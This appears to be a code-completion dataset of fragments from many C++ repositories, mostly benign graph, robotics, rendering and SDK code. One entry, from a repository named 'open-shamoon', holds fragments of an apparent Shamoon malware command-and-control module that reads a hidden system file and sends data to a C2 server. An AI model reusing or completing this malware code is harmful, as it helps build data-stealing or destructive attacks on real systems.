File(srcFile, cpyFile, true); TEST_VERIFY(copyDone); localizationSystem->InitWithDirectory(cpyDir); bool setLocaleDone = localizationSystem->SetCurrentLocale(currentLangId); TEST_VERIFY(setLocaleDone); bool saveDone = localizationSystem->SaveLocalizedString...
random
[]
C++
open-cc-module/main.cpp
Fgroove/open-shamoon
f5650ec83ec3e1ab1a0fb094f78e90b9fae457bc
#include <Windows.h> #include <memory> #include "Base64.h" #include "Core.h" #include "Utils.h" #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define UNK_FILE_PATH L"\\inf\\netfb318.pnf" #define COMMAND_DIRECTLY_SEND '0' #define COMMAND_REQUEST_FILE '1' int wmain(int argc, wchar_t *...
#include <Windows.h> #include <memory> #include "Base64.h" #include "Core.h" #include "Utils.h" #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ws2_32.lib") #define UNK_FILE_PATH L"\\inf\\netfb318.pnf" #define COMMAND_DIRECTLY_SEND '0' #define COMMAND_REQUEST_FILE '1' int wmain(int argc, wchar_t *...
++nWaited; } if(bLongSleep == false) { nWaited = 0; nToWait = 300; bLongSleep = true; } nFileSize = GetFileSize(hFile, 0); if(nFileSize > 0x2800) nFileSize = 0x2800; if(nFileSize) { DWORD nBytesRead = 0;...
if(!pTempBuffer) return 0; wmemcpy(pTempBuffer, argv[2], wcslen(argv[2])+1); pC2Data = pTempBuffer; } SendDatoToC2(pC2Data); return 0; } if(*argv[1] == COMMAND_REQUEST_FILE) { WCHAR szFilePath[100]; _wprintf(szFilePath, L"%s%s", g_szWinDirW, UNK_FILE_PATH); ...
function_block-random_span
[ { "content": "extern LPCWSTR g_C2_proxyBypass[GROUP_COUNT];\n", "file_path": "open-cc-module/Core.h", "rank": 0, "score": 56401.138947136234 }, { "content": "extern INT32 g_argc;\n", "file_path": "open-malware/Global/Global.h", "rank": 1, "score": 29748.609422815298 }, { ...
C++
Project 6 - Graphs/Dijkstra.cpp
nbstrong/Data-Structures
81aeafb99e4e1eb92fb0d1aff630aed44cf55e0a
#include <stdio.h> #include <limits.h> #include <iostream> #include <conio.h> using namespace std; const int VERTICES = 9; int minDistance(int distance[], bool shortestPathFoundSet[]); void printSolution(int distance[], int n); void pressAnyKey(); int minDistance(int distance[], bool shortestPathFoundSet...
#include <stdio.h> #include <limits.h> #include <iostream> #include <conio.h> using namespace std; const int VERTICES = 9; int minDistance(int distance[], bool shortestPathFoundSet[]); void printSolution(int distance[], int n); void pressAnyKey(); int minDistance(int distance[], bool shortestPathFoundSet...
distance[v] = distance[u] + graph[u][v]; } } } printSolution(distance, VERTICES); } int main() { int graph[VERTICES][VERTICES] = { {0, 4, 0, 0, 0, 0, 0, 9, 0}, {4, 0, 10, 0, 0, 0, 0, 13, 0}, {0, 10, 0, 8, 0, 4, 0, 0, 2}, {0, 0, 8, 0, 9...
i < VERTICES; i++) { cout << i << "\t" << distance[i] << endl; } } void dijkstra(int graph[VERTICES][VERTICES], int src) { int distance[VERTICES]; bool shortestPathFoundSet[VERTICES]; for (int i = 0; i < VERTICES; i++) { distance[i] = INT_MAX; shortestPathFoundS...
random
[ { "content": "// Function to search a delete a value from tree.\n\nstruct Node* Delete(struct Node *root, int data) {\n\n\tif(root == NULL) return root; \n\n\telse if(data < root->data) root->left = Delete(root->left,data);\n\n\telse if (data > root->data) root->right = Delete(root->right,data);\n\n\t// Wohoo.....
C++
src/main/cpp/subsystems/SwerveModule.cpp
ParadigmShift1259/Swerve2021
6158dd606a97a541d65bec1be26193717794cc64
#include "subsystems/SwerveModule.h" SwerveModule::SwerveModule(int driveMotorChannel, int turningMotorChannel, GetPulseWidthCallback pulseWidthCallback, CANifier::PWMChannel pwmChannel, bool driveMotorRevers...
#include "subsystems/SwerveModule.h" SwerveModule::SwerveModule(int driveMotorChannel, int turningMotorChannel, GetPulseWidthCallback pulseWidthCallback, CANifier::PWMChannel pwmChannel, bool driveMotorRevers...
void SwerveModule::ResetRelativeToAbsolute() { m_turnRelativeEncoder.SetPosition(CalcAbsoluteAngle()); } double SwerveModule::MinTurnRads(double init, double final, bool& bOutputReverse) { init = Util::ZeroTo2PiRads(init); final = Util::ZeroTo2PiRads(final); double angle1 = final - init; do...
double SwerveModule::CalcAbsoluteAngle() { double pulseWidth = m_pulseWidthCallback(m_pwmChannel); return fmod((pulseWidth - m_offset) * DriveConstants::kPulseWidthToRadians + 2.0 * wpi::math::pi, 2.0 * wpi::math::pi); }
function_block-full_function
[ { "content": "// Set this to true to include the src folder in the include directories passed\n\n// to the compiler. Some eclipse project imports depend on this behavior.\n\n// We recommend leaving this disabled if possible. Note for eclipse project\n\n// imports this is enabled by default. For new projects, it...
C++
src/cylbot_map_creator/src/octomap_creator.cpp
rhololkeolke/eecs_600_robot_project1
8a4a567f436d2d26311b53cc2dcfde61d98e45e0
#include <ros/ros.h> #include <sensor_msgs/PointCloud2.h> #include <octomap/octomap.h> #include <octomap/OcTree.h> #include <octomap_msgs/Octomap.h> #include <octomap_msgs/conversions.h> #include <octomap_ros/conversions.h> #include <tf/transform_listener.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl_ro...
#include <ros/ros.h> #include <sensor_msgs/PointCloud2.h> #include <octomap/octomap.h> #include <octomap/OcTree.h> #include <octomap_msgs/Octomap.h> #include <octomap_msgs/conversions.h> #include <octomap_ros/conversions.h> #include <tf/transform_listener.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl_ro...
) { ROS_WARN("Transform from /map to /head_hokuyo_frame failed"); return; } tf_listener->lookupTransform("/map", "/head_hokuyo_frame", cloud_in->header.stamp, laser_transform); octomap::point3d laser_origin = octomap::pointTfToOctomap(laser_transform.getOrigin()); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_raw_c...
tf_listener->waitForTransform( "/map", "/head_hokuyo_frame", cloud_in->header.stamp, ros::Duration(1.0))
call_expression
[ { "content": " * @brief Find speckle nodes (single occupied voxels with no neighbors). Only works on lowest resolution!\n\n * @param key\n\n * @return\n\n */\n\n bool isSpeckleNode(const octomap::OcTreeKey& key) const;\n\n\n\n /// hook that is called before traversing all nodes\n\n virtual void handlePre...
C++
shill/daemon_task_test.cc
ascii33/platform2
b78891020724e9ff26b11ca89c2a53f949e99748
#include <linux/rtnetlink.h> #include <stdint.h> #include <string> #include <vector> #include <base/bind.h> #include <base/memory/ref_counted.h> #include <base/run_loop.h> #include <gmock/gmock.h> #include <gtest/gtest.h> #include "shill/daemon_task.h" #include "shill/logging.h" #include "shill/mock_control.h" #in...
#include <linux/rtnetlink.h> #include <stdint.h> #include <string> #include <vector> #include <base/bind.h> #include <base/memory/ref_counted.h> #include <base/run_loop.h> #include <gmock/gmock.h> #include <gtest/gtest.h> #include "shill/daemon_task.h" #include "shill/logging.h" #include "shill/mock_control.h" #in...
true; settings.passive_mode = true; settings.minimum_mtu = 256; EXPECT_CALL(*manager_, SetBlockedDevices(kBlockedDevices)); EXPECT_CALL(*manager_, SetTechnologyOrder("wifi,ethernet", _)); EXPECT_CALL(*manager_, SetIgnoreUnknownEthernet(false)); EXPECT_CALL(*manager_, SetStartupPortalList("cellular")); EXP...
ECT_CALL(netlink_manager_, Start()); #endif EXPECT_CALL(*manager_, Start()).After(routing_table_started); StartDaemon(); Mock::VerifyAndClearExpectations(manager_); EXPECT_CALL(*manager_, Stop()); EXPECT_CALL(process_manager_, Stop()); StopDaemon(); } ACTION_P2(CompleteAction, manager, name) { manager...
random
[]
C++
Datenbank/ExcelExport.cpp
AkioUnity/VC-bank
d2ab46cb18e0069e2640cef0a8589c4a1ca416c3
#include "StdAfx.h" #include "ExcelExport.h" using namespace Microsoft::Office::Interop::Excel; using namespace System::Windows::Forms; using namespace System; ExcelExport::ExcelExport(void) { _app = gcnew Microsoft::Office::Interop::Excel::ApplicationClass(); if (false) { MessageBox::Show("Excel is not properl...
#include "StdAfx.h" #include "ExcelExport.h" using namespace Microsoft::Office::Interop::Excel; using namespace System::Windows::Forms; using namespace System;
ExcelExport::~ExcelExport(void) { while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_workSheet) > 0); if (_misValue==1) _workBook->Close(false, System::Type::Missing, System::Type::Missing); while (System::Runtime::InteropServices::Marshal::ReleaseComObject(_workBook) > 0); _app->Quit...
ExcelExport::ExcelExport(void) { _app = gcnew Microsoft::Office::Interop::Excel::ApplicationClass(); if (false) { MessageBox::Show("Excel is not properly installed!!"); } _misValue = 1; _workBook = _app->Workbooks->Add(_misValue); _workSheet = (Microsoft::Office::Interop::Excel::Worksheet^) _app->ActiveSheet...
function_block-full_function
[ { "content": "using namespace System;\n", "file_path": "Datenbank/programm.h", "rank": 0, "score": 35991.07730253809 }, { "content": "using namespace System;\n", "file_path": "Datenbank/MyResult.h", "rank": 1, "score": 35991.07730253809 }, { "content": "using namespace Sy...
C++
src/widgets/dialogs/importlegacynotebookdialog.cpp
15d23/vnote
ab453539e4e1914c91e805c485e15f3a33fff3c7
#include "importlegacynotebookdialog.h" #include <QLineEdit> #include <QFileInfo> #include "notebookinfowidget.h" #include <utils/pathutils.h> #include <utils/utils.h> #include <utils/fileutils.h> #include "vnotex.h" #include "notebookmgr.h" #include "legacynotebookutils.h" #include "../messageboxhelper.h" #include <...
#include "importlegacynotebookdialog.h" #include <QLineEdit> #include <QFileInfo> #include "notebookinfowidget.h" #include <utils/pathutils.h> #include <utils/utils.h> #include <utils/fileutils.h> #include "vnotex.h" #include "notebookmgr.h" #include "legacynotebookutils.h" #include "../messageboxhelper.h" #include <...
{ auto &notebookMgr = VNoteX::getInst().getNotebookMgr(); auto notebook = notebookMgr.findNotebookByRootFolderPath(rootFolderPath); if (notebook) { Utils::appendMsg(p_msg, tr("There already exists a notebook (%1) with the same root folder.").arg(notebook->g...
if (!LegacyNotebookUtils::isLegacyNotebookRootFolder(rootFolderPath)) { Utils::appendMsg(p_msg, tr("Failed to recognize a legacy notebook from the root folder.")); return false; }
if_condition
[ { "content": " class ImportLegacyNotebookDialog : public NewNotebookDialog\n\n {\n\n Q_OBJECT\n\n public:\n\n explicit ImportLegacyNotebookDialog(QWidget *p_parent = nullptr);\n\n\n\n protected:\n\n void acceptedButtonClicked() Q_DECL_OVERRIDE;\n\n\n\n bool validateRootFo...
C++
src/kriti/render/Framebuffer.cpp
etherealvisage/kriti
6397c4d20331d9f5ce07460df08bbac9653ffa8b
#include "../ogl.h" #include "Framebuffer.h" #include "ErrorTracker.h" #include "../MessageSystem.h" namespace Kriti { namespace Render { Framebuffer::Framebuffer() { ErrorTracker::trackFrom("Framebuffer constructor (before all)"); gl::GenFramebuffers(1, &m_id); ErrorTracker::trackFrom("Framebuffer cons...
#include "../ogl.h" #include "Framebuffer.h" #include "ErrorTracker.h" #include "../MessageSystem.h" namespace Kriti { namespace Render { Framebuffer::Framebuffer() { ErrorTracker::trackFrom("Framebuffer constructor (before all)"); gl::GenFramebuffers(1, &m_id); ErrorTracker::trackFrom("Framebuffer cons...
; ErrorTracker::trackFrom("Framebuffer renderbuffer attach (before all)"); gl::BindFramebuffer(gl::DRAW_FRAMEBUFFER, m_id); ErrorTracker::trackFrom("Framebuffer renderbuffer attach (after bind)"); gl::FramebufferRenderbuffer(gl::DRAW_FRAMEBUFFER, convert(where), gl::RENDERBUFFER, rbuffer->id())...
amebuffers(1, &m_id); ErrorTracker::trackFrom("Framebuffer destructor (after del)"); } void Framebuffer::attach(Attachment where, boost::shared_ptr<Texture> texture) { m_textures[where].first = true; m_textures[where].second = texture; m_rbuffers[where].first = false; m_rbuffers[where].second...
random
[ { "content": "class Camera : public Render::UniformHook {\n\npublic:\n\n enum PositionInterp {\n\n JumpPosition,\n\n LinearPosition,\n\n ExponentialPosition,\n\n };\n\n enum OrientationInterp {\n\n JumpOrientation,\n\n LinearOrientation,\n\n ExponentialOrientat...
C++
examples/pxScene2d/external/aamp/drm/AampDRMutils.cpp
tomasz-kumor-red/pxCore
6a460fda9ce5f056a2cea04872538601c1610a7b
#include "AampDRMutils.h" #include "_base64.h" #include <cjson/cJSON.h> #include <uuid/uuid.h> #define KEYID_TAG_START "<KID>" #define KEYID_TAG_END "</KID>" #define KEY_ID_SZE_INDICATOR 0x12 DrmData::DrmData() : data(NULL), dataLength(0) { } DrmData::DrmData(unsigned char *data, int dataLength) : data(NULL), da...
#include "AampDRMutils.h" #include "_base64.h" #include <cjson/cJSON.h> #include <uuid/uuid.h> #define KEYID_TAG_START "<KID>" #define KEYID_TAG_END "</KID>" #define KEY_ID_SZE_INDICATOR 0x12 DrmData::DrmData() : data(NULL), dataLength(0) { } DrmData::DrmData(unsigned char *data, int dataLength) : data(NULL), da...
; header = 33; } uint8_t key_id_size = (uint8_t)psshData[header]; key_id = (unsigned char*)malloc(key_id_size + 1); memset(key_id, 0, key_id_size + 1); memcpy(reinterpret_cast<char*>(key_id), psshData + header + 1, key_id_size); *len = (int)key_id_size; AAMPLOG_INFO("%s:%d wv version %d keyid...
AAMPLOG_WARN("%s:%d wv version %d keyid indicator" " byte not found using default logic", __FUNCTION__, __LINE__)
call_expression
[]
C++
pxr/base/tf/testenv/enum.cpp
DougRogers-DigitalFish/USD
d8a405a1344480f859f025c4f97085143efacb53
#include "pxr/pxr.h" #include "pxr/base/tf/regTest.h" #include "pxr/base/tf/diagnostic.h" #include "pxr/base/tf/enum.h" #include <algorithm> #include <cstdio> #include <string> using namespace std; PXR_NAMESPACE_USING_DIRECTIVE enum Condiment { SALT, PEPPER = 13, KETCHUP, NO_NAME }; enum Season { ...
#include "pxr/pxr.h" #include "pxr/base/tf/regTest.h" #include "pxr/base/tf/diagnostic.h" #include "pxr/base/tf/enum.h" #include <algorithm> #include <cstdio> #include <string> using namespace std; PXR_NAMESPACE_USING_DIRECTIVE enum Condiment { SALT, PEPPER = 13, KETCHUP, NO_NAME }; enum Season { ...
TF_ADD_REGTEST(TfEnum);
static bool Test_TfEnum() { TF_ADD_ENUM_NAME(SALT, "Salt"); TF_ADD_ENUM_NAME(PEPPER, "Pepper"); TF_ADD_ENUM_NAME(KETCHUP, "Ketchup"); TF_ADD_ENUM_NAME(SPRING); TF_ADD_ENUM_NAME(SUMMER); TF_ADD_ENUM_NAME(AUTUMN); TF_ADD_ENUM_NAME(WINTER); bool foundIt; Condiment c; c ...
function_block-full_function
[ { "content": "struct TfEnvSetting<std::string>\n\n{\n\n std::atomic<std::string*> *_value;\n\n char const * _default;\n\n char const * _name;\n\n char const * _description;\n\n};\n\n\n\ntemplate <class T>\n\nvoid Tf_InitializeEnvSetting(TfEnvSetting<T> *);\n\n\n\n/// Returns the value of the specifi...
C++
src/snabl/form.cpp
codr4life/snabl
b1c8a69e351243a3ae73d69754971d540c224733
#include "snabl/env.hpp" #include "snabl/form.hpp" namespace snabl { AFormType::AFormType(string_view id): id(id) { } FormImp::~FormImp() { } Form::Form(const Form &source): type(source.type), pos(source.pos), imp(source.imp->clone()) { } namespace forms { const FormType<Fimp> Fimp::type("fi...
#include "snabl/env.hpp" #include "snabl/form.hpp" namespace snabl { AFormType::AFormType(string_view id): id(id) { } FormImp::~FormImp() { } Form::Form(const Form &source): type(source.type), pos(source.pos), imp(source.imp->clone()) { } namespace forms { const FormType<Fimp> Fimp::type("fi...
{ throw CompileError(form.pos, fmt("Unknown lib: %0", {lib_id})); } id = env.sym(idn.substr(found_lib+1)); } if (idn.front() == '@') { in++; env.emit<ops::Get>(form.pos, env.sym(idn.substr(1))); } else if (isupper(idn.front())) { in++; auto t(lib->get_ty...
() const { return new Id(id); } void Id::dump(ostream &out) const { out << id.name(); } void Id::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &form(*in); auto id(form.as<Id>().id); auto &idn(id.name()); ...
random
[ { "content": "#include \"snabl/box.hpp\"\n\n#include \"snabl/env.hpp\"\n\n#include \"snabl/types/char.hpp\"\n\n\n\nnamespace snabl {\n\n CharType::CharType(Lib &lib, Sym id, const vector<AType *> &parents):\n\n Type<Char>(lib, id, parents) {\n\n eqval = [](auto &lhs, auto &rhs) { return lhs.as_char == rh...
C++
Beeftext/Combo/ComboVariable.cpp
xmidev/Beeftext
17dfcc74bf51c20186c35d34a3c2c39175d4fadd
#include "stdafx.h" #include "ComboVariable.h" #include "ComboManager.h" #include "VariableInputDialog.h" #include "PreferencesManager.h" #include "Clipboard/ClipboardManager.h" #include "BeeftextGlobals.h" #include <XMiLib/RandomNumberGenerator.h> #include <XMiLib/Exception.h> namespace { enum ...
#include "stdafx.h" #include "ComboVariable.h" #include "ComboManager.h" #include "VariableInputDialog.h" #include "PreferencesManager.h" #include "Clipboard/ClipboardManager.h" #include "BeeftextGlobals.h" #include <XMiLib/RandomNumberGenerator.h> #include <XMiLib/Exception.h> namespace { enum ...
if (variable.startsWith("combo:")) return evaluateComboVariable(variable, ECaseChange::NoChange, forbiddenSubCombos, knownInputVariables, outCancelled); if (variable.startsWith("upper:")) return evaluateComboVariable(variable, ECaseChange::ToUpper, forbiddenSubCombos, knownInputVaria...
cy", "Unrestricted", "-File", path }); if (!p.waitForFinished(10000)) throw xmilib::Exception(QString("the script `%1` timed out.").arg(path)); qint32 const returnCode = p.exitCode(); if (returnCode) throw xmilib::Exception(QString("execution of `%1` return an error (code %2)....
random
[ { "content": " enum class EType\n\n {\n\n Default, ///< The default clipboard manager.\n\n Legacy ///< The legacy clipboard manager.\n\n }; ///< Enumeration for the type of clipboard manager\n\n\n\npublic: // static members\n\n static ClipboardManager& instance(); ///< Return the instance of t...
C++
Object/Scene/Flat.cpp
glodxy/StarAnim
d6fcf632550f6cf3118629425529dfdaab1c7e5d
#include "Flat.h" #include "../../ShaderManager.h" Flat::Flat(const String& rootPath,float x, float y):BaseScene(rootPath){ _size.x=x; _size.y=y; initGroundShader(); initWireShader(); initVertices(); setupWireVAO(); setupVAO(); } void Flat::bindCamera(Camera *camera) { _camera=camer...
#include "Flat.h" #include "../../ShaderManager.h" Flat::Flat(const String& rootPath,float x, float y):BaseScene(rootPath){ _size.x=x; _size.y=y; initGroundShader(); initWireShader(); initVertices(); setupWireVAO(); setupVAO(); } void Flat::bindCamera(Camera *camera) { _camera=camer...
void Flat::draw(Shader* shader) const { glDepthFunc(GL_LEQUAL); Mat4 model(1.0f); model = glm::scale(model, Vec3(_size[0], 1.0f, _size[1])); _shader->Use(); _shader->setMat4(model, "model"); _shader->setMat4(_camera->getViewMatrix(), "view"); _shader->setMat4(_camera->getProjectionMatrix()...
void Flat::drawShadow(Shader *shader) const { shader->setMat4(getModelMatrix(),"model"); glBindVertexArray(_VAO); glDrawArrays(GL_TRIANGLE_STRIP,0,4); glBindVertexArray(0); }
function_block-full_function
[ { "content": "class Camera {\n\npublic:\n\n Camera();\n\n Camera(const Camera&);\n\n Camera(const glm::vec3& position);\n\n void move(float x,float y,float z);\n\n void move(const glm::vec3& direction);\n\n glm::mat4 getViewMatrix()const;\n\n glm::mat4 getProjectionMatrix()const;\n\n\n\n ...
C++
Wml/Source/Distance/WmlDistTri3Tri3.cpp
1iyiwei/deform2d
1a350dd20f153e72de1ea9cffb873eb67bf3d668
#include "WmlDistTri3Tri3.h" #include "WmlDistLin3Tri3.h" using namespace Wml; template <class Real> Real Wml::SqrDistance (const Triangle3<Real>& rkTri0, const Triangle3<Real>& rkTri1, Real* pfTri0P0, Real* pfTri0P1, Real* pfTri1P0, Real* pfTri1P1) { Real fS, fT, fU, fV, fS0, fT0, fU0, fV0, ...
#include "WmlDistTri3Tri3.h" #include "WmlDistLin3Tri3.h" using namespace Wml; template <class Real> Real Wml::SqrDistance (const Triangle3<Real>& rkTri0, const Triangle3<Real>& rkTri1, Real* pfTri0P0, Real* pfTri0P1, Real* pfTri1P0, Real* pfTri1P1) { Real fS, fT, fU, fV, fS0, fT0, fU0, fV0, ...
namespace Wml { template WML_ITEM float SqrDistance<float> (const Triangle3<float>&, const Triangle3<float>&, float*, float*, float*, float*); template WML_ITEM float Distance<float> (const Triangle3<float>&, const Triangle3<float>&, float*, float*, float*, float*); template WML_ITEM double SqrDis...
Real Wml::Distance (const Triangle3<Real>& rkTri0, const Triangle3<Real>& rkTri1, Real* pfTri0P0, Real* pfTri0P1, Real* pfTri1P0, Real* pfTri1P1) { return Math<Real>::Sqrt(SqrDistance(rkTri0,rkTri1,pfTri0P0,pfTri0P1, pfTri1P0,pfTri1P1)); }
function_block-full_function
[ { "content": "class WML_ITEM Arc2 : public Circle2<Real>\n\n{\n\npublic:\n\n // The arc is defined by two points End0 and End1 on the circle so that\n\n // End1 is obtained from End0 by traversing counterclockwise. The\n\n // application is responsible for ensuring that End0 and End1 are on the\n\n ...
C++
src/llvm_c_ext.cpp
Alfret/Lingon
164e62ac2a880c8977d03af4249b5a0ca6558e1a
#include <llvm/Target/TargetMachine.h> extern "C" { #include <llvm-c/Core.h> #include "llvm_c_ext.h" #include "str.h" #include "type.h" } static llvm::Triple::ArchType llvm_from_arch_type(LLVMArchType arch_type) { switch (arch_type) { case LLVMARMArchType: { return llvm::Triple::ArchType::arm; } ...
#include <llvm/Target/TargetMachine.h> extern "C" { #include <llvm-c/Core.h> #include "llvm_c_ext.h" #include "str.h" #include "type.h" } static llvm::Triple::ArchType llvm_from_arch_type(LLVMArchType arch_type) { switch (arch_type) { case LLVMARMArchType: { return llvm::Triple::ArchType::arm; } ...
static llvm::Triple::OSType llvm_from_os_type(LLVMOSType os_type) { switch (os_type) { case LLVMUnknownOSType: { return llvm::Triple::OSType::UnknownOS; } case LLVMDarwinOSType: { return llvm::Triple::OSType::Darwin; } case LLVMFreeBSDOSType: { return llvm::Triple::OSType::Free...
static LLVMVendorType llvm_to_vendor_type(llvm::Triple::VendorType vendor_type) { switch (vendor_type) { case llvm::Triple::UnknownVendor: { return LLVMUnknownVendorType; } case llvm::Triple::Apple: { return LLVMAppleVendorType; } case llvm::Triple::PC: { return LLVMPCVendorType;...
function_block-full_function
[ { "content": "#define _DEFAULT_SOURCE\n\n\n", "file_path": "deps/mimalloc/src/static.c", "rank": 0, "score": 89629.46483521059 }, { "content": "extern mi_decl_thread mi_heap_t* _mi_heap_default; // default heap to allocate from\n", "file_path": "deps/mimalloc/include/mimalloc-internal.h...
C++
Horde3D_SDK_1.0.0_Beta5/Horde3D/Source/Horde3DEngine/egResource.cpp
cewbost/dlrts
89a89f71a523adb9db2c9937337ddd7fc54d34ba
#include "egResource.h" #include "egModules.h" #include "egCom.h" #include <sstream> #include <cstring> #include "utDebug.h" namespace Horde3D { using namespace std; Resource::Resource( int type, const string &name, int flags ) { _type = type; _name = name; _handle = 0; _loaded = false...
#include "egResource.h" #include "egModules.h" #include "egCom.h" #include <sstream> #include <cstring> #include "utDebug.h" namespace Horde3D { using namespace std; Resource::Resource( int type, const string &name, int flags ) { _type = type; _name = name; _handle = 0; _loaded = false...
} return 0; } void ResourceManager::releaseUnusedResources() { vector< uint32 > killList; for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_userRefCount == 0 && _resources[i]->_refCount == 0 ) { killList.push_back( i ); _resources[i]->re...
if( _resources[i] != 0x0 && !_resources[i]->_loaded && !_resources[i]->_noQuery ) { if( j == index ) return _resources[i]->_handle; else ++j; }
if_condition
[ { "content": "DLL void *h3dMapResStream( H3DRes res, int elem, int elemIdx, int stream, bool read, bool write );\n", "file_path": "include/horde3d.h", "rank": 0, "score": 273370.8184420084 }, { "content": "DLL H3DRes h3dCloneResource( H3DRes sourceRes, const char *name );\n", "file_path"...
C++
src/caffe/test/test_nms_filter_layer.cpp
MSRCCS/Caffe
2eb05997f077fe93832b89d56ea0cd1ea72e3275
#include <vector> #include <numeric> #include "boost/scoped_ptr.hpp" #include "gtest/gtest.h" #include "caffe/blob.hpp" #include "caffe/common.hpp" #include "caffe/filler.hpp" #include "caffe/util/rng.hpp" #include "caffe/region_common.hpp" #include "caffe/layers/nms_filter_layer.hpp" #include "caffe/test/test_caff...
#include <vector> #include <numeric> #include "boost/scoped_ptr.hpp" #include "gtest/gtest.h" #include "caffe/blob.hpp" #include "caffe/common.hpp" #include "caffe/filler.hpp" #include "caffe/util/rng.hpp" #include "caffe/region_common.hpp" #include "caffe/layers/nms_filter_layer.hpp" #include "caffe/test/test_caff...
ayer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_first_class(kFirstClass); NMSFilterLayer<Dtype> layer(layer_param); this->blob_bottom_vec_.push_back(this->blob_conf_); layer.S...
r_num, channels, inner_num, c, kNMSThreshold, this->blob_conf_->cpu_data(), this->blob_top_conf_->cpu_data()); } for (int n = 0; n < outer_num; ++n) { for (int c = kClasses; c < channels; ++c...
random
[ { "content": "class DataLayer : public BasePrefetchingDataLayer<Dtype> {\n\n public:\n\n explicit DataLayer(const LayerParameter& param);\n\n virtual ~DataLayer();\n\n virtual void DataLayerSetUp(const vector<Blob<Dtype>*>& bottom,\n\n const vector<Blob<Dtype>*>& top);\n\n // DataLayer uses DataReader ...
C++
extras/CH2wibbleold.cc
dch0ph/pNMRsim
2420e618c7bff9b38b43e7c2ac684c5c28b61787
#include "ttyio.h" #include "MoleculeStructure.h" #include "space_T.h" #include "NMR.h" using namespace std; using namespace libcmatrix; int verbose = 2; const double rad2deg=180.0/M_PI; FILE* createoutput(const char* basename, const char* qual) { char scratch[256]; snprintf(scratch, sizeof(scratch), "%s%s.tx...
#include "ttyio.h" #include "MoleculeStructure.h" #include "space_T.h" #include "NMR.h" using namespace std; using namespace libcmatrix; int verbose = 2; const double rad2deg=180.0/M_PI; FILE* createoutput(const char* basename, const char* qual) { char scratch[256]; snprintf(scratch, sizeof(scratch), "%s%s.tx...
static const double gamma1H(gamma("1H")); static const double gamma13C(gamma("13C")); struct Coupling { enum coupling_t : int { CH1=0, CH2, HH, ExtraCH }; size_t i,j,cell; coupling_t type; Matrix<double> tensor; double refdist; size_t count; double gammaX; static Matrix<double> Dtmp; Coupling(...
size_t validatecellstarts(const MoleculeStructure& struc, size_t start, size_t natoms) { const int start_index = struc.snumber_to_index(start); if (start_index<0) { cerr << "Serial number " << start << " not present!\n"; exit(1); } for (size_t i=natoms;i--;) { if (struc(start_index+i).type[0]!='H')...
function_block-full_function
[ { "content": "struct function_spec : public std::pair<const char*,int> {\n\n function_spec(const char* name, int nargs)\n\n : std::pair<const char*,int>(name,nargs) {}\n\n\n\n bool operator== (const function_spec& b) const\n\n { return ((second == b.second) && (strcmp(first,b.first)==0)); }\n\n \n\n boo...
C++
src/goto-instrument/contracts/assigns.cpp
peterschrammel/cbmc
d4f9c452296a91112182533605110403f77cc759
#include "assigns.h" #include "utils.h" #include <analyses/call_graph.h> #include <langapi/language_util.h> #include <util/arith_tools.h> #include <util/c_types.h> #include <util/pointer_offset_size.h> #include <util/pointer_predicates.h> static const slicet normalize_to_slice(const exprt &expr, const namespacet ...
#include "assigns.h" #include "utils.h" #include <analyses/call_graph.h> #include <langapi/language_util.h> #include <util/arith_tools.h> #include <util/c_types.h> #include <util/pointer_offset_size.h> #include <util/pointer_predicates.h> static const slicet normalize_to_slice(const exprt &expr, const namespacet ...
} } }
if( !fname.empty() && (fname == root_function || call_graph.get_node_index(fname).has_value())) { add_to_write_set(sym.symbol_expr()); }
if_condition
[]
C++
mdl/src/v20200326/model/EventSettingsResp.cpp
TencentCloud/tencentcloud-sdk-cpp-intl-en
752c031f5ad2c96868183c5931eae3a42dd5ae6c
#include <tencentcloud/mdl/v20200326/model/EventSettingsResp.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Mdl::V20200326::Model; using namespace std; EventSettingsResp::EventSettingsResp() : m_eventTypeHasBeenSet(false), m_inputAttachmentHasBeenSet(false), m_outputGroupNameH...
#include <tencentcloud/mdl/v20200326/model/EventSettingsResp.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Mdl::V20200326::Model; using namespace std; EventSettingsResp::EventSettingsResp() : m_eventTypeHasBeenSet(false), m_inputAttachmentHasBeenSet(false), m_outputGroupNameH...
string EventSettingsResp::GetEventType() const { return m_eventType; } void EventSettingsResp::SetEventType(const string& _eventType) { m_eventType = _eventType; m_eventTypeHasBeenSet = true; } bool EventSettingsResp::EventTypeHasBeenSet() const { return m_eventTypeHasBeenSet; } string EventSetting...
t"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_inputAttachment.c_str(), allocator).Move(), allocator); } if (m_outputGroupNameHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "OutputGroupName"; iKey.SetSt...
function_block-function_prefixed
[]
C++
XXmotif/src/getopt_pp/getopt_pp.cpp
yanshen43/MCAT
336c5deea456dae0916fbc8935930402a4acbcad
#include <unistd.h> #include "getopt_pp.h" #if __APPLE__ extern char** environ; #endif namespace GetOpt { const char GetOpt_pp::EMPTY_OPTION = 0; GETOPT_INLINE void GetOpt_pp::_init_flags() { std::stringstream ss; _flags = ss.flags(); } GETOPT_INLINE void GetOpt_pp::_parse(int argc, char* argv[]) { OptionData...
#include <unistd.h> #include "getopt_pp.h" #if __APPLE__ extern char** environ; #endif namespace GetOpt { const char GetOpt_pp::EMPTY_OPTION = 0; GETOPT_INLINE void GetOpt_pp::_init_flags() { std::stringstream ss; _flags = ss.flags(); } GETOPT_INLINE void GetOpt_pp::_parse(int argc, char* argv[]) { OptionData...
return remain; } GETOPT_INLINE std::list<std::string> GetOpt_pp::remaining_options() const { std::list<std::string> unp; for (ShortOptions::const_iterator it = _shortOps.begin(); it != _shortOps.end(); ++it) { if (it->second.flags == OptionData::CmdLine_NotExtracted) { unp.push_back(std::string(1, it->firs...
